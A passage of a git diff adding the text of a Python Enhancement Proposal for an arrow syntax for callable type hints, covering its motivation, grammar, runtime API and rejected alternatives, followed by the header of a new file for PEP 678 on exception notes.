+ def wrap(x: int) -> list[int]: + return [x] + + def add(x: int, y: int) -> int: + return x + y + + flat_map(wrap, [1, 2, 3]) # no runtime error, output is [1, 2, 3] + flat_map(add, [1, 2, 3]) # runtime error: `add` expects 2 arguments, got 1 + + +We can add types to this example to detect the runtime error:: + + from typing import Callable + + def flat_map( + func: Callable[[int], list[int]], + l: list[int] + ) -> list[int]: + .... + + ... + + + flat_map(wrap, [1, 2, 3]) # type checks okay, output is [1, 2, 3] + flat_map(add, [1, 2, 3]) # type check error + +There are a few usability challenges with ``Callable`` we can see here: + +- It is verbose, particularly for more complex function signatures. +- It relies on two levels of nested brackets, unlike any other generic + type. This can be especially hard to read when some of the type + parameters are themselves generic types. +- The bracket structure is not visually similar to how function signatures + are written. +- It requires an explicit import, unlike many of the other most common + types like ``list`` and ``dict``. + +Possibly as a result, `programmers often fail to write complete +Callable types +`_. +Such untyped or partially-typed callable types do not check the +parameter types or return types of the given callable and thus negate +the benefits of static typing. For example, they might write this:: + + + from typing import Callable + + def flat_map( + func: Callable[..., Any], + l: list[int] + ) -> list[int]: + .... + + ... + + + flat_map(add, [1, 2, 3]) # oops, no type check error! + +There's some partial type information here - we at least know that ``func`` +needs to be callable. But we've dropped too much type information for +type checkers to find the bug. + +With our proposal, the example looks like this:: + + def flat_map( + func: (int) -> list[int], + l: list[int] + ) -> list[int]: + out = [] + for element in l: + out.extend(f(element)) + return out + + ... + +The type ``(int) -> list[int]`` is more concise, uses an arrow similar +to the one indicating a return type in a function header, avoids +nested brackets, and does not require an import. + + +Rationale +========= + +The ``Callable`` type is widely used. For example, `as of October 2021 +it was +`_ +the fifth most common complex type in typeshed, after ``Optional``, +``Tuple``, ``Union``, and ``List``. + +The others have had their syntax improved and the need for imports +eliminated by either :pep:`604` or :pep:`585`: + +- ``typing.Optional[int]`` is written ``int | None`` +- ``typing.Union[int, str]`` is written ``int | str`` +- ``typing.List[int]`` is written ``list[int]`` +- ``typing.Tuple[int, str]`` is written ``tuple[int, str]`` + +The ``typing.Callable`` type is used almost as often as these other +types, is more complicated to read and write, and still requires an +import and bracket-based syntax. + +In this proposal, we chose to support all the existing semantics of +``typing.Callable``, without adding support for new features. We made +this decision after examining how frequently each feature might be +used in existing typed and untyped open-source code. We determined +that the vast majority of use cases are covered. + +We considered adding support for named, optional, and variadic +arguments. However, we decided against including these features, as +our analysis showed they are infrequently used. When they are really +needed, it is possible to type these using `callback protocols +`_. + +An Arrow Syntax for Callable Types +---------------------------------- + +We are proposing a succinct, easy-to-use syntax for +``typing.Callable`` that looks similar to function headers in Python. +Our proposal closely follows syntax used by several popular languages +such as `Typescript +`_, +`Kotlin `_, and `Scala +`_. + +Our goals are that: + +- Callable types using this syntax will be easier to learn and use, + particularly for developers with experience in other languages. +- Library authors will be more likely to use expressive types for + callables that enable type checkers to better understand code and + find bugs, as in the ``decorator`` example above. + +Consider this simplified real-world example from a web server, written +using the existing ``typing.Callable``:: + + from typing import Awaitable, Callable + from app_logic import Response, UserSetting + + + def customize_response( + response: Response, + customizer: Callable[[Response, list[UserSetting]], Awaitable[Response]] + ) -> Response: + ... + +With our proposal, this code can be abbreviated to:: + + from app_logic import Response, UserSetting + + def customize_response( + response: Response, + customizer: async (Response, list[UserSetting]) -> Response, + ) -> Response: + ... + +This is shorter and requires fewer imports. It also has far less +nesting of square brackets - only one level, as opposed to three in +the original code. + +Compact Syntax for ``ParamSpec`` +-------------------------------- + +A particularly common case where library authors leave off type information +for callables is when defining decorators. Consider the following:: + + + from typing import Any, Callable + + def with_retries( + f: Callable[..., Any] + ) -> Callable[..., Any]: + def wrapper(retry_once, *args, **kwargs): + if retry_once: + try: return f(*args, **kwargs) + except Exception: pass + return f(*args, **kwargs) + return wrapper + + @with_retries + def f(x: int) -> int: + return x + + + f(y=10) # oops - no type error! + +In the code above, it is clear that the decorator should produce a +function whose signature is like that of the argument ``f`` other +than an additional ``retry_once`` argument. But the use of ``...`` +prevents a type checker from seeing this and alerting a user that +``f(y=10)`` is invalid. + + +With :pep:`612` it is possible to type decorators like this correctly +as follows:: + + from typing import Any, Callable, Concatenate, ParamSpec, TypeVar + + R = TypeVar("R") + P = ParamSpec("P") + + def with_retries( + f: Callable[P, R] + ) -> Callable[Concatenate[bool, P] R]: + def wrapper(retry_once: bool, *args: P.args, **kwargs: P.kwargs) -> R: + ... + return wrapper + + ... + + +With our proposed syntax, the properly-typed decorator example becomes +concise and the type representations are visually descriptive:: + + from typing import Any, ParamSpec, TypeVar + + R = TypeVar("R") + P = ParamSpec("P") + + def with_retries( + f: (**P) -> R + ) -> (bool, **P) -> R: + ... + +Comparing to Other Languages +---------------------------- + +Many popular programming languages use an arrow syntax similar +to the one we are proposing here. + +TypeScript +~~~~~~~~~~ + +In `TypeScript +`_, +function types are expressed in a syntax almost the same as the one we +are proposing, but the arrow token is ``=>`` and arguments have names:: + + (x: int, y: str) => bool + +The names of the arguments are not actually relevant to the type. So, +for example, this is the same callable type:: + + (a: int, b: str) => bool + +Kotlin +~~~~~~ + +Function types in `Kotlin `_ permit +an identical syntax to the one we are proposing, for example:: + + (Int, String) -> Bool + +It also optionally allows adding names to the arguments, for example:: + + (x: Int, y: String) -> Bool + +As in TypeScript, the argument names (if provided) are just there for +documentation and are not part of the type itself. + +Scala +~~~~~ + +`Scala `_ +uses the ``=>`` arrow for function types. Other than that, their syntax is +the same as the one we are proposing, for example:: + + (Int, String) => Bool + +Scala, like Python, has the ability to provide function arguments by name. +Function types can optionally include names, for example:: + + (x: Int, y: String) => Bool + +Unlike in TypeScript and Kotlin, these names are part of the type if +provided - any function implementing the type must use the same names. +This is similar to the extended syntax proposal we describe in our +`Rejected Alternatives`_ section. + +Function Definitions vs Callable Type Annotations +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In all of the languages listed above, type annotations for function +definitions use a ``:`` rather than a ``->``. For example, in TypeScript +a simple add function looks like this:: + + function higher_order(fn: (a: string) => string): string { + return fn("Hello, World"); + } + +Scala and Kotlin use essentially the same ``:`` syntax for return +annotations. The ``:`` makes sense in these languages because they +all use ``:`` for type annotations of +parameters and variables, and the use for function return types is +similar. + +In Python we use ``:`` to denote the start of a function body and +``->`` for return annotations. As a result, even though our proposal +is superficially the same as these other languages the context is +different. There is potential for more confusion in Python when +reading function definitions that include callable types. + +This is a key concern for which we are seeking feedback with our draft +PEP; one idea we have floated is to use ``=>`` instead to make it easier +to differentiate. + + +The ML Language Family +~~~~~~~~~~~~~~~~~~~~~~ + +Languages in the ML family, including `F# +`_, +`OCaml +`_, +and `Haskell `_, all use +``->`` to represent function types. All of them use a parentheses-free +syntax with multiple arrows, for example in Haskell:: + + Integer -> String -> Bool + +The use of multiple arrows, which differs from our proposal, makes +sense for languages in this family because they use automatic +`currying `_ of function arguments, +which means that a multi-argument function behaves like a single-argument +function returning a function. + +Specification +============= + +Typing Behavior +--------------- + +Type checkers should treat the new syntax with exactly the same +semantics as ``typing.Callable``. + +As such, a type checker should treat the following pairs exactly the +same:: + + from typing import Awaitable, Callable, Concatenate, ParamSpec, TypeVarTuple + + P = ParamSpec("P") + Ts = TypeVarTuple('Ts') + + f0: () -> bool + f0: Callable[[], bool] + + f1: (int, str) -> bool + f1: Callable[[int, str], bool] + + f2: (...) -> bool + f2: Callable[..., bool] + + f3: async (str) -> str + f3: Callable[[str], Awaitable[str]] + + f4: (**P) -> bool + f4: Callable[P, bool] + + f5: (int, **P) -> bool + f5: Callable[Concatenate[int, P], bool] + + f6: (*Ts) -> bool + f6: Callable[[*Ts], bool] + + f7: (int, *Ts, str) -> bool + f7: Callable[[int, *Ts, str], bool] + + +Grammar and AST +--------------- + +The proposed new syntax can be described by these AST changes to `Parser/Python.asdl +`_:: + + expr = + | AsyncCallableType(callable_type_arguments args, expr returns) + | CallableType(callable_type_arguments args, expr returns) + + callable_type_arguments = AnyArguments + | ArgumentsList(expr* posonlyargs) + | Concatenation(expr* posonlyargs, expr param_spec) + + +Here are our proposed changes to the `Python Grammar +`:: + + expression: + | disjunction disjunction 'else' expression + | callable_type_expression + | disjunction + | lambdef + + callable_type_expression: + | callable_type_arguments '->' expression + | ASYNC callable_type_arguments '->' expression + + callable_type_arguments: + | '(' '...' [','] ')' + | '(' callable_type_positional_argument* ')' + | '(' callable_type_positional_argument* callable_type_param_spec ')' + + callable_type_positional_argument: + | !'...' expression ',' + | !'...' expression &')' + + callable_type_param_spec: + | '**' expression ',' + | '**' expression &')' + + + +If :pep:`646` is accepted, we intend to include support for unpacked +types in two ways. To support the "star-for-unpack" syntax proposed in +:pep:`646`, we will modify the grammar for +``callable_type_positional_argument`` as follows:: + + callable_type_positional_argument: + | !'...' expression ',' + | !'...' expression &')' + | '*' expression ',' + | '*' expression &')' + +With this change, a type of the form ``(int, *Ts) -> bool`` should +evaluate the AST form:: + + CallableType( + ArgumentsList(Name("int"), Starred(Name("Ts")), + Name("bool") + ) + +and be treated by type checkers as equivalent to or ``Callable[[int, +*Ts], bool]`` or ``Callable[[int, Unpack[Ts]], bool]``. + + +Implications of the Grammar +--------------------------- + +Precedence of -> +~~~~~~~~~~~~~~~~ + + +``->`` binds less tightly than other operators, both inside types and +in function signatures, so the following two callable types are +equivalent:: + + (int) -> str | bool + (int) -> (str | bool) + + +``->`` associates to the right, both inside types and in function +signatures. So the following pairs are equivalent:: + + (int) -> (str) -> bool + (int) -> ((str) -> bool) + + def f() -> (int, str) -> bool: pass + def f() -> ((int, str) -> bool): pass + + def f() -> (int) -> (str) -> bool: pass + def f() -> ((int) -> ((str) -> bool)): pass + + +Because operators bind more tightly than ``->``, parentheses are +required whenever an arrow type is intended to be inside an argument +to an operator like ``|``:: + + (int) -> () -> int | () -> bool # syntax error! + (int) -> (() -> int) | (() -> bool) # okay + + +We discussed each of these behaviors and believe they are desirable: + +- Union types (represented by ``A | B`` according to :pep:`604`) are + valid in function signature returns, so we need to allow operators + in the return position for consistency. +- Given that operators bind more tightly than ``->`` it is correct + that a type like ``bool | () -> bool`` must be a syntax error. We + should be sure the error message is clear because this may be a + common mistake. +- Associating ``->`` to the right, rather than requiring explicit + parentheses, is consistent with other languages like TypeScript and + respects the principle that valid expressions should normally be + substitutable when possible. + +``async`` Keyword +~~~~~~~~~~~~~~~~~ + +All of the binding rules still work for async callable types:: + + (int) -> async (float) -> str | bool + (int) -> (async (float) -> (str | bool)) + + def f() -> async (int, str) -> bool: pass + def f() -> (async (int, str) -> bool): pass + + def f() -> async (int) -> async (str) -> bool: pass + def f() -> (async (int) -> (async (str) -> bool)): pass + + +Trailing Commas +~~~~~~~~~~~~~~~ + +- Following the precedent of function signatures, putting a comma in + an empty arguments list is illegal: ``(,) -> bool`` is a syntax + error. +- Again following precedent, trailing commas are otherwise always + permitted:: + + + ((int,) -> bool == (int) -> bool + ((int, **P,) -> bool == (int, **P) -> bool + ((...,) -> bool) == ((...) -> bool) + +Allowing trailing commas also gives autoformatters more flexibility +when splitting callable types across lines, which is always legal +following standard python whitespace rules. + + +Disallowing ``...`` as an Argument Type +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Under normal circumstances, any valid expression is permitted where we +want a type annotation and ``...`` is a valid expression. This is +never semantically valid and all type checkers would reject it, but +the grammar would allow it if we did not explicitly prevent this. + +Since ``...`` is meaningless as a type and there are usability +concerns, our grammar rules it out and the following is a syntax +error:: + + (int, ...) -> bool + +We decided that there were compelling reasons to do this: + +- The semantics of ``(...) -> bool`` are different from ``(T) -> bool`` + for any valid type T: ``(...)`` is a special form indicating + ``AnyArguments`` whereas ``T`` is a type parameter in the arguments + list. +- ``...`` is used as a placeholder default value to indicate an + optional argument in stubs and callback protocols. Allowing it in + the position of a type could easily lead to confusion and possibly + bugs due to typos. +- In the ``tuple`` generic type, we special-case ``...`` to mean + "more of the same", e.g. a ``tuple[int, ...]`` means a tuple with + one or more integers. We do not use ``...`` in a a similar way + in callable types, so to prevent misunderstandings it makes sense + to prevent this. + + + +Incompatibility with other possible uses of ``*`` and ``**`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The use of ``**P`` for supporting :pep:`612` ``ParamSpec`` rules out any +future proposal using a bare ``**`` to type +``kwargs``. This seems acceptable because: + +- If we ever do want such a syntax, it would be clearer to require an + argument name anyway. This would also make the type look more + similar to a function signature. In other words, if we ever support + typing ``kwargs`` in callable types, we would prefer ``(int, + **kwargs: str)`` rather than ``(int, **str)``. +- :pep:`646` unpacking syntax would rule out using ``*`` for + ``args``. The ``kwargs`` case is similar enough that this rules out + a bare ``**`` anyway. + + + +Compatibility with Arrow-Based Lambda Syntax +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To the best of our knowledge there is no active discussion of +arrow-style lambda syntax that we are aware of, but it is nonetheless +worth considering what possibilities would be ruled out by adopting +this proposal. + +It would be incompatible with this proposal to adopt the same a +parenthesized ``->``-based arrow syntax for lambdas, e.g. ``(x, y) -> +x + y`` for ``lambda x, y: x + y``. + + +Our view is that if we want arrow syntax for lambdas in the future, it +would be a better choice to use ``=>``, e.g. ``(x, y) => x + y``. +Many languages use the same arrow token for both lambdas and callable +types, but Python is unique in that types are expressions and have to +evaluate to runtime values. Our view is that this merits using +separate tokens, and given the existing use of ``->`` for return types +in function signatures it would be more coherent to use ``->`` for +callable types and ``=>`` for lambdas. + +Runtime Behavior +---------------- + +The new AST nodes need to evaluate to runtime types, and we have two goals for the +behavior of these runtime types: + +- They should expose a structured API that is descriptive and powerful + enough to be compatible with extending the type to include new features + like named and variadic arguments. +- They should also expose an API that is backward-compatible with + ``typing.Callable``. + +Evaluation and Structured API +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +We intend to create new builtin types to which the new AST nodes will +evaluate, exposing them in the ``types`` module. + +Our plan is to expose a structured API as if they were defined as follows:: + + class CallableType: + is_async: bool + arguments: Ellipsis | tuple[CallableTypeArgument] + return_type: object + + class CallableTypeArgument: + kind: CallableTypeArgumentKind + annotation: object + + @enum.global_enum + class CallableTypeArgumentKind(enum.IntEnum): + POSITIONAL_ONLY: int = ... + PARAM_SPEC: int = ... + + +The evaluation rules are expressed in terms of the following +pseudocode:: + + def evaluate_callable_type( + callable_type: ast.CallableType | ast.AsyncCallableType: + ) -> CallableType: + return CallableType( + is_async=isinstance(callable_type, ast.AsyncCallableType), + arguments=_evaluate_arguments(callable_type.arguments), + return_type=evaluate_expression(callable_type.returns), + ) + + def _evaluate_arguments(arguments): + match arguments: + case ast.AnyArguments(): + return Ellipsis + case ast.ArgumentsList(posonlyargs): + return tuple( + _evaluate_arg(arg) for arg in args + ) + case ast.ArgumentsListConcatenation(posonlyargs, param_spec): + return tuple( + *(evaluate_arg(arg) for arg in args), + _evaluate_arg(arg=param_spec, kind=PARAM_SPEC) + ) + if isinstance(arguments, Any + return Ellipsis + + def _evaluate_arg(arg, kind=POSITIONAL_ONLY): + return CallableTypeArgument( + kind=POSITIONAL_ONLY, + annotation=evaluate_expression(value) + ) + + +Backward-Compatible API +~~~~~~~~~~~~~~~~~~~~~~~ + +To get backward compatibility with the existing ``types.Callable`` API, +which relies on fields ``__args__`` and ``__parameters__``, we can define +them as if they were written in terms of the following:: + + import itertools + import typing + + def get_args(t: CallableType) -> tuple[object]: + return_type_arg = ( + typing.Awaitable[t.return_type] + if t.is_async + else t.return_type + ) + arguments = t.arguments + if isinstance(arguments, Ellipsis): + argument_args = (Ellipsis,) + else: + argument_args = (arg.annotation for arg in arguments) + return ( + *arguments_args, + return_type_arg + ) + + def get_parameters(t: CallableType) -> tuple[object]: + out = [] + for arg in get_args(t): + if isinstance(arg, typing.ParamSpec): + out.append(t) + else: + out.extend(arg.__parameters__) + return tuple(out) + + +Additional Behaviors of ``types.CallableType`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +As with the ``A | B`` syntax for unions introduced in :pep:`604`: + +- The ``__eq__`` method should treat equivalent ``typing.Callable`` + values as equal to values constructed using the builtin syntax, and + otherwise should behave like the ``__eq__`` of ``typing.Callable``. +- The ``__repr__`` method should produce an arrow syntax representation that, + when evaluated, gives us back an equal ``types.CallableType`` instance. + + +Rejected Alternatives +===================== + +Many of the alternatives we considered would have been more expressive +than ``typing.Callable``, for example adding support for describing +signatures that include named, optional, and variadic arguments. + +To determine which features we most needed to support with a callable +type syntax, we did an extensive analysis of existing projects: + +- `stats on the use of the Callable type `_; +- `stats on how untyped and partially-typed callbacks are actually used `_. + +We decided on a simple proposal with improved syntax for the existing +``Callable`` type because the vast majority of callbacks can be correctly +described by the existing ``typing.Callable`` semantics: + +- Positional parameters: By far the most important case to handle well + is simple callable types with positional parameters, such as + ``(int, str) -> bool`` +- ParamSpec and Concatenate: The next most important feature is good + support for :pep:`612` ``ParamSpec`` and ``Concatenate`` types like + ``(**P) -> bool`` and ``(int, **P) -> bool``. These are common + primarily because of the heavy use of decorator patterns in python + code. +- TypeVarTuples: The next most important feature, assuming :pep:`646` is + accepted, is for unpacked types which are common because of cases + where a wrapper passes along ``*args`` to some other function. + +Features that other, more complicated proposals would support account +for fewer than 2% of the use cases we found. These are already +expressible using callback protocols, and since they are uncommon we +decided that it made more sense to move forward with a simpler syntax. + +Extended Syntax Supporting Named and Optional Arguments +------------------------------------------------------- + +Another alternative was for a compatible but more complex syntax that +could express everything in this PEP but also named, optional, and +variadic arguments. In this “extended” syntax proposal the following +types would have been equivalent:: + + class Function(typing.Protocol): + def f(self, x: int, /, y: float, *, z: bool = ..., **kwargs: str) -> bool: + ... + + Function = (int, y: float, *, z: bool = ..., **kwargs: str) -> bool + +Advantages of this syntax include: - Most of the advantages of the +proposal in this PEP (conciseness, :pep:`612` support, etc) - +Furthermore, the ability to handle named, optional, and variadic +arguments + +We decided against proposing it for the following reasons: + +- The implementation would have been more difficult, and usage stats + demonstrate that fewer than 3% of use cases would benefit from any + of the added features. +- The group that debated these proposals was split down the middle + about whether these changes are desirable: + + - On the one hand, they make callable types more expressive. On the + other hand, they could easily confuse users who have not read the + full specification of callable type syntax. + - We believe the simpler syntax proposed in this PEP, which + introduces no new semantics and closely mimics syntax in other + popular languages like Kotlin, Scala, and TypesScript, is much + less likely to confuse users. + +- We intend to implement the current proposal in a way that is + forward-compatible with the more complicated extended syntax. If the + community decides after more experience and discussion that we want + the additional features, it should be straightforward to propose + them in the future. +- Even a full extended syntax cannot replace the use of callback + protocols for overloads. For example, no closed form of callable type + could express a function that maps bools to bools and ints to floats, + like this callback protocol.:: + + from typing import overload, Protocol + + class OverloadedCallback(Protocol) + + @overload + def __call__(self, x: int) -> float: ... + + @overload + def __call__(self, x: bool) -> bool: ... + + def __call__(self, x: int | bool) -> float | bool: ... + + + f: OverloadedCallback = ... + f(True) # bool + f(3) # float + + + +We confirmed that the current proposal is forward-compatible with +extended syntax by +`implementing `_ +a grammar and AST for this extended syntax on top of our reference +implementation of this PEP's grammar. + + +Syntax Closer to Function Signatures +------------------------------------ + +One alternative we had floated was a syntax much more similar to +function signatures. + +In this proposal, the following types would have been equivalent:: + + class Function(typing.Protocol): + def f(self, x: int, /, y: float, *, z: bool = ..., **kwargs: str) -> bool: + ... + + Function = (x: int, /, y: float, *, z: bool = ..., **kwargs: str) -> bool + + +The benefits of this proposal would have included: + +- Perfect syntactic consistency between signatures and callable types. +- Support for more features of function signatures (named, optional, + variadic args) that this PEP does not support. + +Key downsides that led us to reject the idea include the following: + +- A large majority of use cases only use positional-only arguments. This + syntax would be more verbose for that use case, both because of requiring + argument names and an explicit ``/``, for example ``(int, /) -> bool`` where + our proposal allows ``(int) -> bool`` +- The requirement for explicit ``/`` for positional-only arguments has + a high risk of causing frequent bugs - which often would not be + detected by unit tests - where library authors would accidentally + use types with named arguments. +- Our analysis suggests that support for ``ParamSpec`` is key, but the + scoping rules laid out in :pep:`612` would have made this difficult. + + +Other Proposals Considered +-------------------------- + +Functions-as-Types +~~~~~~~~~~~~~~~~~~ + +An idea we looked at very early on was to `allow using functions as types +`_. +The idea is allowing a function to stand in for its own call +signature, with roughly the same semantics as the ``__call__`` method +of callback protocols:: + + def CallableType( + positional_only: int, + /, + named: str, + *args: float, + keyword_only: int = ..., + **kwargs: str + ) -> bool: ... + + f: CallableType = ... + f(5, 6.6, 6.7, named=6, x="hello", y="world") # typechecks as bool + +This may be a good idea, but we do not consider it a viable +replacement for callable types: + +- It would be difficult to handle ``ParamSpec``, which we consider a + critical feature to support. +- When using functions as types, the callable types are not first-class + values. Instead, they require a separate, out-of-line function + definition to define a type alias +- It would not support more features than callback protocols, and seems + more like a shorter way to write them than a replacement for + ``Callable``. + +Hybrid keyword-arrow Syntax +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In the Rust language, a keyword ``fn`` is used to indicate functions +in much the same way as Python's ``def``, and callable types are +indicated using a hybrid arrow syntax ``Fn(i64, String) -> bool``. + +We could use the ``def`` keyword in callable types for Python, for +example our two-parameter boolean function could be written as +``def(int, str) -> bool``. But we think this might confuse readers +into thinking ``def(A, B) -> C`` is a lambda, particularly because +Javascript's ``function`` keyword is used in both named and anonymous +functions. + +Parenthesis-Free Syntax +~~~~~~~~~~~~~~~~~~~~~~~ + +We considered a parentheses-free syntax that would have been even more +concise:: + + int, str -> bool + +We decided against it because this is not visually as similar to +existing function header syntax. Moreover, it is visually similar to +lambdas, which bind names with no parentheses: ``lambda x, y: x == +y``. + +Requiring Outer Parentheses +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +A concern with the current proposal is readability, particularly +when callable types are used in return type position which leads to +multiple top-level ``->`` tokens, for example:: + + def make_adder() -> (int) -> int: + return lambda x: x + 1 + +We considered a few ideas to prevent this by changing rules about +parentheses. One was to move the parentheses to the outside, so +that a two-argument boolean function is written ``(int, str -> bool)``. +With this change, the example above becomes:: + + def make_adder() -> (int -> int): + return lambda x: x + 1 + +This makes the nesting of many examples that are difficult to +follow clear, but we rejected it because + +- Currently in Python commas bind very loosely, which means it might be common + to misread ``(int, str -> bool)`` as a tuple whose first element is an int, + rather than a two-parameter callable type. +- It is not very similar to function header syntax, and one of our goals was + familiar syntax inspired by function headers. +- This syntax may be more readable for deaply nested callables like the one + above, but deep nesting is not very common. Encouraging extra parentheses + around callable types in return position via a style guide would have most of + the readability benefit without the downsides. + +We also considered requiring parentheses on both the parameter list and the +outside, e.g. ``((int, str) -> bool)``. With this change, the example above +becomes:: + + def make_adder() -> ((int) -> int): + return lambda x: x + 1 + +We rejected this change because: + +- The outer parentheses only help readability in some cases, mostly when a + callable type is used in return position. In many other cases they hurt + readability rather than helping. +- We agree that it might make sense to encourage outer parentheses in several + cases, particularly callable types in function return annotations. But + + - We believe it is more appropriate to encourage this in style guides, + linters, and autoformatters than to bake it into the parser and throw + syntax errors. + - Moreover, if a type is complicated enough that readability is a concern + we can always use type aliases, for example:: + + IntToIntFunction: (int) -> int + + def make_adder() -> IntToIntFunction: + return lambda x: x + 1 + + +Making ``->`` bind tighter than ``|`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In order to allow both ``->`` and ``|`` tokens in type expressions we +had to choose precedence. In the current proposal, this is a function +returning an optional boolean:: + + (int, str) -> bool | None # equivalent ot (int, str) -> (bool | None) + +We considered having ``->`` bind tighter so that instead the expression +would parse as ``((int, str) -> bool) | None``. There are two advantages +to this: + +- It means we no would longer have to treat ``None | (int, str) -> + bool`` as a syntax error. +- Looking at typeshed today, optional callable arguments are very common + because using ``None`` as a default value is a standard Python idiom. + Having ``->`` bind tighter would make these easier to write. + +We decided against this for a few reasons: + +- The function header ``def f() -> int | None: ...`` is legal + and indicates a function returning an optional int. To be consistent + with function headers, callable types should do the same. +- TypeScript is the other popular language we know of that uses both + ``->`` and ``|`` tokens in type expressions, and they have ``|`` bind + tighter. While we do not have to follow their lead, we prefer to do + so. +- We do acknowledge that optional callable types are common and + having ``|`` bind tighter forces extra parentheses, which makes these + types harder to write. But code is read more often than written, and + we believe that requiring the outer parentheses for an optional callable + type like ``((int, str) -> bool) | None`` is preferable for readability. + + +Introducing type-strings +~~~~~~~~~~~~~~~~~~~~~~~~ + +Another idea was adding a new “special string” syntax and putting the type +inside of it, for example ``t”(int, str) -> bool”``. We rejected this +because it is not as readable, and seems out of step with `guidance +`_ +from the Steering Council on ensuring that type expressions do not +diverge from the rest of Python's syntax. + + +Improving Usability of the Indexed Callable Type +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If we do not want to add new syntax for callable types, we could +look at how to make the existing type easier to read. One proposal +would be to make the builtin ``callable`` function indexable so +that it could be used as a type:: + + callable[[int, str], bool] + +This change would be analogous to :pep:`585` that made built in collections +like ``list`` and ``dict`` usable as types, and would make imports +more convenient, but it wouldn't help readability of the types themselves +much. + +In order to reduce the number of brackets needed in complex callable +types, it would be possible to allow tuples for the argument list:: + + callable[(int, str), bool] + +This actually is a significant readability improvement for +multi-argument functions, but the problem is that it makes callables +with one arguments, which are the most common arity, hard to +write: because ``(x)`` evaluates to ``x``, they would have to be +written like ``callable[(int,), bool]``. We find this awkward. + +Moreover, none of these ideas help as much with reducing verbosity +as the current proposal, nor do they introduce as strong a visual cue +as the ``->`` between the parameter types and the return type. + +Alternative Runtime Behaviors +----------------------------- + +The hard requirements on our runtime API are that: + +- It must preserve backward compatibility with ``typing.Callable`` via + ``__args__`` and ``__params__``. +- It must provide a structured API, which should be extensible if + in the future we try to support named and variadic arguments. + +Alternative APIs +~~~~~~~~~~~~~~~~ + +We considered having the runtime data ``types.CallableType`` use a +more structured API where there would be separate fields for +``posonlyargs`` and ``param_spec``. The current proposal was +was inspired by the ``inspect.Signature`` type. + +We use "argument" in our field and type names, unlike "parameter" +as in ``inspect.Signature``, in order to avoid confusion with +the ``callable_type.__parameters__`` field from the legacy API +that refers to type parameters rather than callable parameters. + +Using the plain return type in ``__args__`` for async types +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It is debatable whether we are required to preserve backward compatiblity +of ``__args__`` for async callable types like ``async (int) -> str``. The +reason is that one could argue they are not expressible directly +using ``typing.Callable``, and therefore it would be fine to set +``__args__`` as ``(int, int)`` rather than ``(int, typing.Awaitable[int])``. + +But we believe this would be problematic. By preserving the appearance +of a backward-compatible API while actually breaking its semantics on +async types, we would cause runtime type libraries that attempt to +interpret ``Callable`` using ``__args__`` to fail silently. + +It is for this reason that we automatically wrap the return type in +``Awaitable``. + +Backward Compatibility +====================== + +This PEP proposes a major syntax improvement over ``typing.Callable``, +but the static semantics are the same. + +As such, the only thing we need for backward compatibility is to +ensure that types specified via the new syntax behave the same as +equivalent ``typing.Callable`` and ``typing.Concatenate`` values they +intend to replace. + +There is no particular interaction between this proposal and ``from +__future__ import annotations`` - just like any other type annotation +it will be unparsed to a string at module import, and +``typing.get_type_hints`` should correctly evaluate the resulting +strings in cases where that is possible. + +This is discussed in more detail in the Runtime Behavior section. + + +Reference Implementation +======================== + +We have a working `implementation +`_ +of the AST and Grammar with tests verifying that the grammar proposed +here has the desired behaviors. + +The runtime behavior is not yet implemented. As discussed in the +`Runtime Behavior`_ portion of the spec we have a detailed plan for +both a backward-compatible API and a more structured API in +`a separate doc +`_ +where we are also open to discussion and alternative ideas. + + +Open Issues +=========== + +Details of the Runtime API +-------------------------- + +We have attempted to provide a complete behavior specification in +the `Runtime Behavior`_ section of this PEP. + +But there are probably more details that we will not realize we +need to define until we build a full reference implementation. + +Optimizing ``SyntaxError`` messages +----------------------------------- + +The current reference implementation has a fully-functional parser and +all edge cases presented here have been tested. + +But there are some known cases where the errors are not as informative +as we would like. For example, because ``(int, ...) -> bool`` is +illegal but ``(int, ...)`` is a valid tuple, we currently produce a +syntax error flagging the ``->`` as the problem even though the real +cause of the error is using ``...`` as an argument type. + +This is not part of the specification *per se* but is an important +detail to address in our implementation. The solution will likely +involve adding ``invalid_.*`` rules to ``python.gram`` and customizing +error messages. + +Resources +========= + +Background and History +---------------------- + +:pep:`PEP 484 specifies +<484#suggested-syntax-for-python-2-7-and-straddling-code>` +a very similar syntax for function type hint *comments* for use in +code that needs to work on Python 2.7. For example:: + + def f(x, y): + # type: (int, str) -> bool + ... + +At that time we used indexing operations to specify generic types like +``typing.Callable`` because we decided not to add syntax for +types. However, we have since begun to do so, e.g. with :pep:`604`. + +**Maggie** proposed better callable type syntax as part of a larger +`presentation on typing simplifications +`_ +at the PyCon Typing Summit 2021. + +**Steven** `brought up this proposal on typing-sig +`_. +We had several meetings to discuss alternatives, and `this presentation +`_ +led us to the current proposal. + +**Pradeep** `brought this proposal to python-dev +`_ +for feedback. + +Acknowledgments +--------------- + +Thanks to the following people for their feedback on the PEP and help +planning the reference implementation: + +Alex Waygood, Eric Traut, Guido van Rossum, James Hilton-Balfe, +Jelle Zijlstra, Maggie Moss, Tuomas Suutari, Shannon Zhu. + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0678.rst b/pep-0678.rst new file mode 100644 index 00000000000..cdf13253312 --- /dev/null +++ b/pep-0678.rst @@ -0,0 +1,385 @@ +PEP: 678 +Title: Enriching Exceptions with Notes +Author: Zac Hatfield-Dodds +Sponsor: Irit Katriel +Discussions-To: https://discuss.python.org/t/pep-678-enriching-exceptions-with-notes/13374 +Status: Accepted +Type: Standards Track +Content-Type: text/x-rst +Requires: 654 +Created: 20-Dec-2021 +Python-Version: 3.11 